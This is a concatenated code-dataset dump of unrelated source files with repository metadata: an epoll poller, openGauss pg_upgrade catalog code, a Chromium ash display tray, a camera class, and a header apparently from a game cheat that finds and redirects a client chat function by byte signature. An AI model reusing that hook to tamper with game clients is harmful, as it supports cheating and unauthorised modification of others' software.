Magic_Recode/Header++/Chat_Print_Formatted/Functions/Chat_Print_Formatted_Redirect_Chat_Print_Formatted.hpp
PMArkive/Magic_Recode
2ca336650a25ccc95eba17d67e18f196010f0e47
[ "Unlicense" ]
null
null
null
#pragma once void Redirect_Chat_Print_Formatted(void* Client_Module_Location) { if (Menu_Select::Game_Identifier == 0) { Redirection_Manager::Redirect_Function(Original_Chat_Print_Formatted_Caller_Location, 2, (void*)((unsigned __int32)Client_Module_Location + 1219184), (void*)Redirected_Chat_Print_Formatted_Source); } else { unsigned __int8 Chat_Print_Formatted_Bytes[6] = { 195, 128, 62, 0, 116, 40 }; Redirection_Manager::Redirect_Function(Original_Chat_Print_Formatted_Caller_Location, 2, (void*)((unsigned __int32)Byte_Manager::Find_Bytes(Client_Module_Location, Chat_Print_Formatted_Bytes, sizeof(Chat_Print_Formatted_Bytes)) - 168), (void*)Redirected_Chat_Print_Formatted_Global_Offensive); } }
26.571429
295
0.788978
PMArkive
cf3595135ad0cb907b7de4544f4d0ae1780bd08f
5,298
cpp
C++
libcornet/poller.cpp
pioneer19/libcornet
9eb91629d8f9a6793b28af10a3535bfba0cc24ca
[ "Apache-2.0" ]
1
2020-07-25T06:39:24.000Z
2020-07-25T06:39:24.000Z
libcornet/poller.cpp
pioneer19/libcornet
9eb91629d8f9a6793b28af10a3535bfba0cc24ca
[ "Apache-2.0" ]
1
2020-07-25T05:32:10.000Z
2020-07-25T05:32:10.000Z
libcornet/poller.cpp
pioneer19/libcornet
9eb91629d8f9a6793b28af10a3535bfba0cc24ca
[ "Apache-2.0" ]
1
2020-07-25T05:28:54.000Z
2020-07-25T05:28:54.000Z
/* * Copyright 2020 Alex Syrnikov <pioneer19@post.cz> * SPDX-License-Identifier: Apache-2.0 * * This file is part of libcornet (https://github.com/pioneer19/libcornet). */ #include <libcornet/poller.hpp> #include <unistd.h> #include <cstdio> #include <string> #include <array> #include <algorithm> #include <system_error> #include <libcornet/tcp_socket.hpp> #include <libcornet/async_file.hpp> #include <libcornet/net_uring.hpp> namespace pioneer19::cornet { Poller::Poller() { m_poller_fd = epoll_create1( EPOLL_CLOEXEC ); if( m_poller_fd == -1 ) { throw std::system_error(errno, std::system_category() , "failed epoll_create1() in Poller constructor" ); } } Poller::Poller( Poller&& other ) noexcept { m_poller_fd = other.m_poller_fd; other.m_poller_fd = -1; } Poller& Poller::operator=( Poller&& other ) noexcept { if( this != &other ) { close(); std::swap( m_poller_fd, other.m_poller_fd ); } return *this; } void Poller::close() { if( m_poller_fd != -1 ) ::close( m_poller_fd ); m_poller_fd = -1; } void Poller::run() { int timeout_ms = -1; // -1 is infinite timeout for epoll_wait while( true) { constexpr uint32_t EVENT_BATCH_SIZE = 16; epoll_event events[ EVENT_BATCH_SIZE ]; if( m_stop ) break; int res = epoll_wait( m_poller_fd, events, EVENT_BATCH_SIZE, timeout_ms ); timeout_ms = -1; if( m_stop ) break; if( res == -1 ) { if( errno == EINTR ) continue; throw std::system_error(errno, std::system_category() , std::string( "failed epoll_wait on epoll socket " ) + std::to_string( m_poller_fd )); } for( uint32_t i = 0; i < static_cast<uint32_t>(res); ++i ) { auto& curr_event = events[i]; auto* poller_cb = reinterpret_cast<PollerCb*>(curr_event.data.ptr); // printf( "epoll_wait for poller_cb %p got events %s\n" // , (void*)poller_cb, events_string( curr_event.events ).c_str() ); poller_cb->add_reference(); poller_cb->events_mask = curr_event.events; } /* * current_event.data.ptr - pointer to poller_cb. * to eliminate removing poller_cb with socket delete until poller not * finished it's processing, poller holds reference to poller_cb * (in this case poller_cb will be cleared, but not removed) */ for( uint32_t i = 0; i < static_cast<uint32_t>(res); ++i ) { auto& curr_event = events[i]; if( curr_event.data.ptr == nullptr ) continue; auto poller_cb = reinterpret_cast<PollerCb*>( curr_event.data.ptr ); poller_cb->process_event(); PollerCb::rm_reference( poller_cb ); } #if USE_IO_URING uint32_t queue_size = NetUring::instance().process_requests(); if( queue_size != 0 ) timeout_ms = 0; #endif } } int Poller::add_fd( int fd, PollerCb* poller_cb, uint32_t mask ) { epoll_event event = {}; event.events = mask; event.data.ptr = poller_cb; return epoll_ctl( m_poller_fd, EPOLL_CTL_ADD, fd, &event); } void Poller::add_socket( const TcpSocket& socket, PollerCb* poller_cb, uint32_t mask ) { if( add_fd( socket.fd(), poller_cb, mask ) == -1 ) { throw std::system_error(errno, std::system_category() , std::string( "failed epoll_ctl add socket " ) + std::to_string(socket.fd()) ); } } void Poller::add_file( const AsyncFile& async_file, PollerCb* poller_cb, uint32_t mask ) { if( add_fd( async_file.fd(), poller_cb, mask ) == -1 ) { throw std::system_error(errno, std::system_category() , std::string( "failed epoll_ctl add async file " ) + std::to_string(async_file.fd()) ); } } std::string Poller::events_string( uint32_t events_mask ) { constexpr std::array<uint32_t,10> event_types = {EPOLLIN, EPOLLOUT, EPOLLRDHUP, EPOLLPRI, EPOLLERR, EPOLLHUP, EPOLLET ,EPOLLONESHOT, EPOLLWAKEUP, EPOLLEXCLUSIVE }; constexpr std::array<const char*,10> event_print_types = { "IN", "OUT", "RDHUP", "PRI", "ERR", "HUP", "ET" ,"ONESHOT", "WAKEUP", "EXCLUSIVE" }; static_assert( event_types.size() == event_print_types.size() , "event_types.size != event_print_types.size" ); bool first = true; std::string events_string; for( uint32_t i = 0; i < event_types.size(); ++i ) { if( events_mask & event_types[i] ) { if( !first ) events_string += ", "; events_string += event_print_types[i]; first = false; } } return events_string; } void Poller::run_on_signal( int signum, std::function<void()> func ) { if( !m_signal_processor ) m_signal_processor = std::make_unique<SignalProcessor>( *this ); m_signal_processor->add_signal_handler( signum, std::move(func) ); } }
29.764045
89
0.579464
pioneer19
cf362f3dc8e07a85b8e73caa54fa4934769caba0
16,063
cpp
C++
contrib/pg_upgrade/info.cpp
wotchin/openGauss-server
ebd92e92b0cfd76b121d98e4c57a22d334573159
[ "MulanPSL-1.0" ]
1
2020-06-30T15:00:50.000Z
2020-06-30T15:00:50.000Z
contrib/pg_upgrade/info.cpp
wotchin/openGauss-server
ebd92e92b0cfd76b121d98e4c57a22d334573159
[ "MulanPSL-1.0" ]
null
null
null
contrib/pg_upgrade/info.cpp
wotchin/openGauss-server
ebd92e92b0cfd76b121d98e4c57a22d334573159
[ "MulanPSL-1.0" ]
null
null
null
/* * info.c * * information support functions * * Copyright (c) 2010-2012, PostgreSQL Global Development Group * contrib/pg_upgrade/info.c */ #include "postgres.h" #include "knl/knl_variable.h" #include "pg_upgrade.h" #include "access/transam.h" #include "catalog/pg_tablespace.h" static void create_rel_filename_map(const char* old_data, const char* new_data, const DbInfo* old_db, const DbInfo* new_db, const RelInfo* old_rel, const RelInfo* new_rel, FileNameMap* map); static void get_db_infos(ClusterInfo* cluster); static void get_rel_infos(ClusterInfo* cluster, DbInfo* dbinfo); static void free_rel_infos(RelInfoArr* rel_arr); static void print_db_infos(DbInfoArr* dbinfo); static void print_rel_infos(RelInfoArr* arr); bool is_column_exists(PGconn* conn, Oid relid, char* column_name); /* * gen_db_file_maps() * * generates database mappings for "old_db" and "new_db". Returns a malloc'ed * array of mappings. nmaps is a return parameter which refers to the number * mappings. */ FileNameMap* gen_db_file_maps( DbInfo* old_db, DbInfo* new_db, int* nmaps, const char* old_pgdata, const char* new_pgdata) { FileNameMap* maps = NULL; int relnum; int num_maps = 0; maps = (FileNameMap*)pg_malloc(sizeof(FileNameMap) * old_db->rel_arr.nrels); for (relnum = 0; relnum < Min(old_db->rel_arr.nrels, new_db->rel_arr.nrels); relnum++) { RelInfo* old_rel = &old_db->rel_arr.rels[relnum]; RelInfo* new_rel = &new_db->rel_arr.rels[relnum]; if (old_rel->reloid != new_rel->reloid) pg_log(PG_FATAL, "Mismatch of relation OID in database \"%s\": old OID %d, new OID %d\n", old_db->db_name, old_rel->reloid, new_rel->reloid); /* * TOAST table names initially match the heap pg_class oid. In * pre-8.4, TOAST table names change during CLUSTER; in pre-9.0, TOAST * table names change during ALTER TABLE ALTER COLUMN SET TYPE. In >= * 9.0, TOAST relation names always use heap table oids, hence we * cannot check relation names when upgrading from pre-9.0. Clusters * upgraded to 9.0 will get matching TOAST names. */ if ((strcmp(old_rel->nspname, new_rel->nspname) != 0) || (((strcmp(old_rel->nspname, "pg_toast") != 0) && (strcmp(old_rel->nspname, "cstore") != 0)) && strcmp(old_rel->relname, new_rel->relname) != 0)) pg_log(PG_FATAL, "Mismatch of relation names in database \"%s\": " "old name \"%s.%s\", new name \"%s.%s\"\n", old_db->db_name, old_rel->nspname, old_rel->relname, new_rel->nspname, new_rel->relname); create_rel_filename_map(old_pgdata, new_pgdata, old_db, new_db, old_rel, new_rel, maps + num_maps); num_maps++; } /* Do this check after the loop so hopefully we will produce a clearer error above */ if (old_db->rel_arr.nrels != new_db->rel_arr.nrels) pg_log(PG_FATAL, "old and new databases \"%s\" have a different number of relations\n", old_db->db_name); *nmaps = num_maps; return maps; } /* * create_rel_filename_map() * * fills a file node map structure and returns it in "map". */ static void create_rel_filename_map(const char* old_data, const char* new_data, const DbInfo* old_db, const DbInfo* new_db, const RelInfo* old_rel, const RelInfo* new_rel, FileNameMap* map) { int nRet = 0; if (strlen(old_rel->tablespace) == 0) { /* * relation belongs to the default tablespace, hence relfiles should * exist in the data directories. */ nRet = snprintf_s( map->old_dir, sizeof(map->old_dir), sizeof(map->old_dir) - 1, "%s/base/%u", old_data, old_db->db_oid); securec_check_ss_c(nRet, "\0", "\0"); nRet = snprintf_s( map->new_dir, sizeof(map->new_dir), sizeof(map->new_dir) - 1, "%s/base/%u", new_data, new_db->db_oid); securec_check_ss_c(nRet, "\0", "\0"); } else { /* relation belongs to a tablespace, so use the tablespace location */ nRet = snprintf_s(map->old_dir, sizeof(map->old_dir), sizeof(map->old_dir) - 1, "%s%s/%u", old_rel->tablespace, old_cluster.tablespace_suffix, old_db->db_oid); securec_check_ss_c(nRet, "\0", "\0"); nRet = snprintf_s(map->new_dir, sizeof(map->new_dir), sizeof(map->new_dir) - 1, "%s%s/%u", new_rel->tablespace, new_cluster.tablespace_suffix, new_db->db_oid); securec_check_ss_c(nRet, "\0", "\0"); } /* * old_relfilenode might differ from pg_class.oid (and hence * new_relfilenode) because of CLUSTER, REINDEX, or VACUUM FULL. */ map->old_relfilenode = old_rel->relfilenode; /* new_relfilenode will match old and new pg_class.oid */ map->new_relfilenode = new_rel->relfilenode; /* used only for logging and error reporing, old/new are identical */ nRet = snprintf_s(map->nspname, sizeof(map->nspname), sizeof(map->nspname) - 1, "%s", old_rel->nspname); securec_check_ss_c(nRet, "\0", "\0"); nRet = snprintf_s(map->relname, sizeof(map->relname), sizeof(map->relname) - 1, "%s", old_rel->relname); securec_check_ss_c(nRet, "\0", "\0"); } void print_maps(FileNameMap* maps, int n_maps, const char* db_name) { if (log_opts.verbose) { int mapnum; pg_log(PG_VERBOSE, "mappings for database \"%s\":\n", db_name); for (mapnum = 0; mapnum < n_maps; mapnum++) pg_log(PG_VERBOSE, "%s.%s: %u to %u\n", maps[mapnum].nspname, maps[mapnum].relname, maps[mapnum].old_relfilenode, maps[mapnum].new_relfilenode); pg_log(PG_VERBOSE, "\n\n"); } } /* * get_db_and_rel_infos() * * higher level routine to generate dbinfos for the database running * on the given "port". Assumes that server is already running. */ void get_db_and_rel_infos(ClusterInfo* cluster) { int dbnum; if (cluster->dbarr.dbs != NULL) free_db_and_rel_infos(&cluster->dbarr); get_db_infos(cluster); for (dbnum = 0; dbnum < cluster->dbarr.ndbs; dbnum++) get_rel_infos(cluster, &cluster->dbarr.dbs[dbnum]); pg_log(PG_VERBOSE, "\n%s databases:\n", CLUSTER_NAME(cluster)); if (log_opts.verbose) print_db_infos(&cluster->dbarr); } /* * get_db_infos() * * Scans pg_database system catalog and populates all user * databases. */ static void get_db_infos(ClusterInfo* cluster) { PGconn* conn = connectToServer(cluster, "template1"); PGresult* res = NULL; int ntups; int tupnum; DbInfo* dbinfos = NULL; int i_datname, i_oid, i_spclocation, i_relative; char query[QUERY_ALLOC]; char* relative = NULL; int nRet = 0; int rc = 0; bool is_exists = false; is_exists = is_column_exists(conn, TableSpaceRelationId, "relative"); nRet = snprintf_s(query, sizeof(query), sizeof(query) - 1, "SELECT d.oid, d.datname, %s%s " "FROM pg_catalog.pg_database d " " LEFT OUTER JOIN pg_catalog.pg_tablespace t " " ON d.dattablespace = t.oid " "WHERE d.datallowconn = true " /* we don't preserve pg_database.oid so we sort by name */ "ORDER BY 2", /* 9.2 removed the spclocation column */ (GET_MAJOR_VERSION(cluster->major_version) <= 901) ? "t.spclocation" : "pg_catalog.pg_tablespace_location(t.oid) AS spclocation", is_exists ? ", t.relative " : ""); securec_check_ss_c(nRet, "\0", "\0"); res = executeQueryOrDie(conn, "%s", query); i_oid = PQfnumber(res, "oid"); i_datname = PQfnumber(res, "datname"); i_spclocation = PQfnumber(res, "spclocation"); if (is_exists) i_relative = PQfnumber(res, "relative"); ntups = PQntuples(res); dbinfos = (DbInfo*)pg_malloc(sizeof(DbInfo) * ntups); for (tupnum = 0; tupnum < ntups; tupnum++) { dbinfos[tupnum].db_oid = atooid(PQgetvalue(res, tupnum, i_oid)); nRet = snprintf_s(dbinfos[tupnum].db_name, sizeof(dbinfos[tupnum].db_name), sizeof(dbinfos[tupnum].db_name) - 1, "%s", PQgetvalue(res, tupnum, i_datname)); securec_check_ss_c(nRet, "\0", "\0"); if (is_exists) { relative = PQgetvalue(res, tupnum, i_relative); if (relative && *relative == 't') { nRet = snprintf_s(dbinfos[tupnum].db_tblspace, sizeof(dbinfos[tupnum].db_tblspace), sizeof(dbinfos[tupnum].db_tblspace) - 1, "%s/pg_location/%s", cluster->pgdata, PQgetvalue(res, tupnum, i_spclocation)); securec_check_ss_c(nRet, "\0", "\0"); nRet = snprintf_s(dbinfos[tupnum].db_relative_tblspace, sizeof(dbinfos[tupnum].db_relative_tblspace), sizeof(dbinfos[tupnum].db_relative_tblspace) - 1, "%s", PQgetvalue(res, tupnum, i_spclocation)); securec_check_ss_c(nRet, "\0", "\0"); } else { nRet = snprintf_s(dbinfos[tupnum].db_tblspace, sizeof(dbinfos[tupnum].db_tblspace), sizeof(dbinfos[tupnum].db_tblspace) - 1, "%s", PQgetvalue(res, tupnum, i_spclocation)); securec_check_ss_c(nRet, "\0", "\0"); rc = memset_s(dbinfos[tupnum].db_relative_tblspace, sizeof(dbinfos[tupnum].db_relative_tblspace), 0, sizeof(dbinfos[tupnum].db_relative_tblspace)); securec_check_c(rc, "\0", "\0"); } } else { nRet = snprintf_s(dbinfos[tupnum].db_tblspace, sizeof(dbinfos[tupnum].db_tblspace), sizeof(dbinfos[tupnum].db_tblspace) - 1, "%s", PQgetvalue(res, tupnum, i_spclocation)); securec_check_ss_c(nRet, "\0", "\0"); rc = memset_s(dbinfos[tupnum].db_relative_tblspace, sizeof(dbinfos[tupnum].db_relative_tblspace), 0, sizeof(dbinfos[tupnum].db_relative_tblspace)); securec_check_c(rc, "\0", "\0"); } } PQclear(res); PQfinish(conn); cluster->dbarr.dbs = dbinfos; cluster->dbarr.ndbs = ntups; } /* * get_rel_infos() * * gets the relinfos for all the user tables of the database referred * by "db". * * NOTE: we assume that relations/entities with oids greater than * FirstNormalObjectId belongs to the user */ static void get_rel_infos(ClusterInfo* cluster, DbInfo* dbinfo) { PGconn* conn = connectToServer(cluster, dbinfo->db_name); PGresult* res = NULL; RelInfo* relinfos = NULL; int ntups; int relnum; int num_rels = 0; char* nspname = NULL; char* relname = NULL; char* tblpath = NULL; char* relative = NULL; char* spclocation = NULL; int i_spclocation, i_nspname, i_relname, i_oid, i_relfilenode, i_reltablespace, i_relative; char query[QUERY_ALLOC]; int nRet = 0; int len = 0; int rc = 0; bool is_exists = false; /* * pg_largeobject contains user data that does not appear in pg_dumpall * --schema-only output, so we have to copy that system table heap and * index. We could grab the pg_largeobject oids from template1, but it is * easy to treat it as a normal table. Order by oid so we can join old/new * structures efficiently. */ is_exists = is_column_exists(conn, TableSpaceRelationId, "relative"); nRet = snprintf_s(query, sizeof(query), sizeof(query) - 1, "SELECT p.oid, n.nspname, p.relname, pg_catalog.pg_relation_filenode(p.oid) AS relfilenode, " " p.reltablespace, pg_catalog.pg_tablespace_location(t.oid) AS spclocation %s" " FROM pg_catalog.pg_class p INNER JOIN pg_catalog.pg_namespace n ON (p.relnamespace = n.oid)" " LEFT OUTER JOIN pg_catalog.pg_tablespace t ON (p.reltablespace = t.oid)" " WHERE p.oid < 16384 AND" " p.relkind IN ('r', 'i', 't') AND" " p.relisshared= false " " ORDER BY 1", is_exists ? ", t.relative " : ""); securec_check_ss_c(nRet, "\0", "\0"); res = executeQueryOrDie(conn, "%s", query); ntups = PQntuples(res); relinfos = (RelInfo*)pg_malloc(sizeof(RelInfo) * ntups); i_oid = PQfnumber(res, "oid"); i_nspname = PQfnumber(res, "nspname"); i_relname = PQfnumber(res, "relname"); i_relfilenode = PQfnumber(res, "relfilenode"); i_reltablespace = PQfnumber(res, "reltablespace"); i_spclocation = PQfnumber(res, "spclocation"); if (is_exists) i_relative = PQfnumber(res, "relative"); for (relnum = 0; relnum < ntups; relnum++) { RelInfo* curr = &relinfos[num_rels++]; const char* tblspace = NULL; curr->reloid = atooid(PQgetvalue(res, relnum, i_oid)); nspname = PQgetvalue(res, relnum, i_nspname); strlcpy(curr->nspname, nspname, sizeof(curr->nspname)); relname = PQgetvalue(res, relnum, i_relname); strlcpy(curr->relname, relname, sizeof(curr->relname)); curr->relfilenode = atooid(PQgetvalue(res, relnum, i_relfilenode)); if (atooid(PQgetvalue(res, relnum, i_reltablespace)) != 0) { /* Might be "", meaning the cluster default location. */ spclocation = PQgetvalue(res, relnum, i_spclocation); if (is_exists) { relative = PQgetvalue(res, relnum, i_relative); if (relative && *relative == 't') { len = strlen(cluster->pgdata) + strlen("pg_location") + strlen(spclocation) + 3; tblpath = (char*)pg_malloc(len); rc = memset_s(tblpath, len, 0, len); securec_check_c(rc, "\0", "\0"); nRet = snprintf_s(tblpath, len, len - 1, "%s/pg_location/%s", cluster->pgdata, spclocation); securec_check_ss_c(nRet, "\0", "\0"); tblspace = pg_strdup(tblpath); free(tblpath); } else { tblspace = pg_strdup(spclocation); } } else { tblspace = pg_strdup(spclocation); } } else /* A zero reltablespace indicates the database tablespace. */ tblspace = dbinfo->db_tblspace; strlcpy(curr->tablespace, tblspace, sizeof(curr->tablespace)); } PQclear(res); PQfinish(conn); dbinfo->rel_arr.rels = relinfos; dbinfo->rel_arr.nrels = num_rels; } void free_db_and_rel_infos(DbInfoArr* db_arr) { int dbnum; for (dbnum = 0; dbnum < db_arr->ndbs; dbnum++) free_rel_infos(&db_arr->dbs[dbnum].rel_arr); pg_free(db_arr->dbs); db_arr->dbs = NULL; db_arr->ndbs = 0; } static void free_rel_infos(RelInfoArr* rel_arr) { pg_free(rel_arr->rels); rel_arr->nrels = 0; } static void print_db_infos(DbInfoArr* db_arr) { int dbnum; for (dbnum = 0; dbnum < db_arr->ndbs; dbnum++) { pg_log(PG_VERBOSE, "Database: %s\n", db_arr->dbs[dbnum].db_name); print_rel_infos(&db_arr->dbs[dbnum].rel_arr); pg_log(PG_VERBOSE, "\n\n"); } } static void print_rel_infos(RelInfoArr* arr) { int relnum; for (relnum = 0; relnum < arr->nrels; relnum++) pg_log(PG_VERBOSE, "relname: %s.%s: reloid: %u reltblspace: %s\n", arr->rels[relnum].nspname, arr->rels[relnum].relname, arr->rels[relnum].reloid, arr->rels[relnum].tablespace); }
35.303297
119
0.596651
wotchin
cf36e6e90f05526538448226defc5b8747f874a9
1,318
cpp
C++
src/servers/comanched/src/main.cpp
fengggli/comanche
035f2a87e0236e9ff744c10331250dcfab835ee1
[ "Apache-2.0" ]
null
null
null
src/servers/comanched/src/main.cpp
fengggli/comanche
035f2a87e0236e9ff744c10331250dcfab835ee1
[ "Apache-2.0" ]
13
2019-06-12T17:50:29.000Z
2019-08-08T21:15:16.000Z
src/servers/comanched/src/main.cpp
fengggli/comanche
035f2a87e0236e9ff744c10331250dcfab835ee1
[ "Apache-2.0" ]
1
2019-07-26T21:39:13.000Z
2019-07-26T21:39:13.000Z
#include <boost/program_options.hpp> #include <iostream> #include <common/logging.h> #include <core/postbox.h> #include <core/uipc.h> #include <core/dpdk.h> #include <core/ipc.h> #include "protocol_generated.h" #include "service.pb.h" #include "service.h" #include <common/mpmc_bounded_queue.h> int main(int argc, char * argv[]) { try { namespace po = boost::program_options; po::options_description desc("Options"); desc.add_options() ("help", "Show help") ("endpoint", po::value<std::string>(), "Endpoint name (UIPC)") // ("pci", po::value<std::string>(), "PCIe id for NVMe storage (use raw device)") // ("filename", po::value<std::string>(), "POSIX filename for file storage (fixed block)") // ("dataset", po::value<std::string>(), "PCIe id for NVMe storage (use raw device)") // ("wipe", "Wipe clean data") // ("show", "Show existing data summary") // ("load", po::value<std::string>(), "Load data from FASTA file list") ; po::variables_map vm; po::store(po::parse_command_line(argc, argv, desc), vm); if(vm.count("help") || vm.count("endpoint")==0 ) std::cout << desc; { Service svc(vm["endpoint"].as<std::string>()); svc.ipc_start(); } } catch(...) { return -1; } return 0; }
24.867925
96
0.601669
fengggli
cf3ca84b80f8b5e85030f65b7962728daeb3c9c3
7,553
cc
C++
ash/system/chromeos/tray_display.cc
hujiajie/pa-chromium
1816ff80336a6efd1616f9e936880af460b1e105
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
2
2020-05-03T06:33:56.000Z
2021-11-14T18:39:42.000Z
ash/system/chromeos/tray_display.cc
hujiajie/pa-chromium
1816ff80336a6efd1616f9e936880af460b1e105
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
ash/system/chromeos/tray_display.cc
hujiajie/pa-chromium
1816ff80336a6efd1616f9e936880af460b1e105
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ash/system/chromeos/tray_display.h" #include "ash/display/display_controller.h" #include "ash/display/display_manager.h" #include "ash/shell.h" #include "ash/system/tray/fixed_sized_image_view.h" #include "ash/system/tray/system_tray.h" #include "ash/system/tray/system_tray_delegate.h" #include "ash/system/tray/tray_constants.h" #include "ash/system/tray/tray_notification_view.h" #include "base/strings/utf_string_conversions.h" #include "grit/ash_resources.h" #include "grit/ash_strings.h" #include "ui/base/l10n/l10n_util.h" #include "ui/base/resource/resource_bundle.h" #include "ui/views/controls/label.h" #include "ui/views/layout/box_layout.h" namespace ash { namespace internal { namespace { TrayDisplayMode GetCurrentTrayDisplayMode() { DisplayManager* display_manager = Shell::GetInstance()->display_manager(); if (display_manager->GetNumDisplays() > 1) return TRAY_DISPLAY_EXTENDED; if (display_manager->IsMirrored()) return TRAY_DISPLAY_MIRRORED; int64 first_id = display_manager->first_display_id(); if (display_manager->HasInternalDisplay() && !display_manager->IsInternalDisplayId(first_id)) { return TRAY_DISPLAY_DOCKED; } return TRAY_DISPLAY_SINGLE; } // Returns the name of the currently connected external display. base::string16 GetExternalDisplayName() { DisplayManager* display_manager = Shell::GetInstance()->display_manager(); int64 external_id = display_manager->mirrored_display().id(); if (external_id == gfx::Display::kInvalidDisplayID) { int64 internal_display_id = gfx::Display::InternalDisplayId(); for (size_t i = 0; i < display_manager->GetNumDisplays(); ++i) { int64 id = display_manager->GetDisplayAt(i)->id(); if (id != internal_display_id) { external_id = id; break; } } } if (external_id != gfx::Display::kInvalidDisplayID) return UTF8ToUTF16(display_manager->GetDisplayNameForId(external_id)); return l10n_util::GetStringUTF16(IDS_ASH_STATUS_TRAY_UNKNOWN_DISPLAY_NAME); } class DisplayViewBase { public: DisplayViewBase(user::LoginStatus login_status) : login_status_(login_status) { label_ = new views::Label(); label_->SetMultiLine(true); label_->SetHorizontalAlignment(gfx::ALIGN_LEFT); } virtual ~DisplayViewBase() { } protected: void OpenSettings() { if (login_status_ == ash::user::LOGGED_IN_USER || login_status_ == ash::user::LOGGED_IN_OWNER || login_status_ == ash::user::LOGGED_IN_GUEST) { ash::Shell::GetInstance()->system_tray_delegate()->ShowDisplaySettings(); } } bool UpdateLabelText() { switch (GetCurrentTrayDisplayMode()) { case TRAY_DISPLAY_SINGLE: // TODO(oshima|mukai): Support single display mode for overscan // alignment. return false; case TRAY_DISPLAY_EXTENDED: if (Shell::GetInstance()->display_manager()->HasInternalDisplay()) { label_->SetText(l10n_util::GetStringFUTF16( IDS_ASH_STATUS_TRAY_DISPLAY_EXTENDED, GetExternalDisplayName())); } else { label_->SetText(l10n_util::GetStringUTF16( IDS_ASH_STATUS_TRAY_DISPLAY_EXTENDED_NO_INTERNAL)); } break; case TRAY_DISPLAY_MIRRORED: if (Shell::GetInstance()->display_manager()->HasInternalDisplay()) { label_->SetText(l10n_util::GetStringFUTF16( IDS_ASH_STATUS_TRAY_DISPLAY_MIRRORING, GetExternalDisplayName())); } else { label_->SetText(l10n_util::GetStringUTF16( IDS_ASH_STATUS_TRAY_DISPLAY_MIRRORING_NO_INTERNAL)); } break; case TRAY_DISPLAY_DOCKED: label_->SetText(l10n_util::GetStringUTF16( IDS_ASH_STATUS_TRAY_DISPLAY_DOCKED)); break; } return true; } views::Label* label() { return label_; } private: user::LoginStatus login_status_; views::Label* label_; DISALLOW_COPY_AND_ASSIGN(DisplayViewBase); }; } // namespace class DisplayView : public DisplayViewBase, public ash::internal::ActionableView { public: explicit DisplayView(user::LoginStatus login_status) : DisplayViewBase(login_status) { SetLayoutManager(new views::BoxLayout(views::BoxLayout::kHorizontal, ash::kTrayPopupPaddingHorizontal, 0, ash::kTrayPopupPaddingBetweenItems)); ui::ResourceBundle& bundle = ui::ResourceBundle::GetSharedInstance(); image_ = new ash::internal::FixedSizedImageView(0, ash::kTrayPopupItemHeight); image_->SetImage( bundle.GetImageNamed(IDR_AURA_UBER_TRAY_DISPLAY).ToImageSkia()); AddChildView(image_); AddChildView(label()); Update(); } virtual ~DisplayView() {} void Update() { SetVisible(UpdateLabelText()); } private: // Overridden from ActionableView. virtual bool PerformAction(const ui::Event& event) OVERRIDE { OpenSettings(); return true; } virtual void OnBoundsChanged(const gfx::Rect& previous_bounds) OVERRIDE { int label_max_width = bounds().width() - kTrayPopupPaddingHorizontal * 2 - kTrayPopupPaddingBetweenItems - image_->GetPreferredSize().width(); label()->SizeToFit(label_max_width); PreferredSizeChanged(); } views::ImageView* image_; DISALLOW_COPY_AND_ASSIGN(DisplayView); }; class DisplayNotificationView : public DisplayViewBase, public TrayNotificationView { public: DisplayNotificationView(user::LoginStatus login_status, TrayDisplay* tray_item) : DisplayViewBase(login_status), TrayNotificationView(tray_item, IDR_AURA_UBER_TRAY_DISPLAY) { InitView(label()); StartAutoCloseTimer(kTrayPopupAutoCloseDelayForTextInSeconds); Update(); } virtual ~DisplayNotificationView() {} void Update() { if (UpdateLabelText()) RestartAutoCloseTimer(); else owner()->HideNotificationView(); } // Overridden from TrayNotificationView: virtual void OnClickAction() OVERRIDE { OpenSettings(); } private: DISALLOW_COPY_AND_ASSIGN(DisplayNotificationView); }; TrayDisplay::TrayDisplay(SystemTray* system_tray) : SystemTrayItem(system_tray), default_(NULL), notification_(NULL), current_mode_(GetCurrentTrayDisplayMode()) { Shell::GetInstance()->display_controller()->AddObserver(this); } TrayDisplay::~TrayDisplay() { Shell::GetInstance()->display_controller()->RemoveObserver(this); } views::View* TrayDisplay::CreateDefaultView(user::LoginStatus status) { DCHECK(default_ == NULL); default_ = new DisplayView(status); return default_; } views::View* TrayDisplay::CreateNotificationView(user::LoginStatus status) { DCHECK(notification_ == NULL); notification_ = new DisplayNotificationView(status, this); return notification_; } void TrayDisplay::DestroyDefaultView() { default_ = NULL; } void TrayDisplay::DestroyNotificationView() { notification_ = NULL; } bool TrayDisplay::ShouldShowLauncher() const { return false; } void TrayDisplay::OnDisplayConfigurationChanged() { TrayDisplayMode new_mode = GetCurrentTrayDisplayMode(); if (current_mode_ != new_mode && new_mode != TRAY_DISPLAY_SINGLE) { if (notification_) notification_->Update(); else ShowNotificationView(); } current_mode_ = new_mode; } } // namespace internal } // namespace ash
29.972222
80
0.709519
hujiajie
cf4020ea3144e9c12d48e9a6a38ccb966d4b29b4
1,187
cpp
C++
OpenCLFilterPipeline/Camera.cpp
SebGrenier/OpenCLFilterPipeline
dbdf08142f211cc4ba6d08fbf07c22ecd6bb872b
[ "MIT" ]
null
null
null
OpenCLFilterPipeline/Camera.cpp
SebGrenier/OpenCLFilterPipeline
dbdf08142f211cc4ba6d08fbf07c22ecd6bb872b
[ "MIT" ]
null
null
null
OpenCLFilterPipeline/Camera.cpp
SebGrenier/OpenCLFilterPipeline
dbdf08142f211cc4ba6d08fbf07c22ecd6bb872b
[ "MIT" ]
null
null
null
#include "Camera.h" Camera::Camera() : _center_x(0) , _center_y(0) , _width(1) , _height(1) , _zoom_level(1) { } Camera::~Camera() { } void Camera::Translate(double x, double y) { _center_x += x; _center_y += y; } void Camera::Zoom(const double factor) { _width = _width * factor; _height = _height * factor; _zoom_level *= factor; } void Camera::Set(double center_x, double center_y, double width, double height, double zoom_level) { _center_x = center_x; _center_y = center_y; _width = width; _height = height; _zoom_level = zoom_level; } double Camera::Left() const { return _center_x - _width / 2.0; } double Camera::Right() const { return _center_x + _width / 2.0; } double Camera::Top() const { return _center_y + _height / 2.0; } double Camera::Bottom() const { return _center_y - _height / 2.0; } void Camera::Fit(const double width, const double height, double center_x, double center_y) { _center_x = center_x; _center_y = center_y; _zoom_level = 1.0; double aspect_ratio = _width / _height; if (height > width) { _height = height; _width = _height * aspect_ratio; } else { _width = width; _height = _width / aspect_ratio; } }
15.826667
98
0.679023
SebGrenier
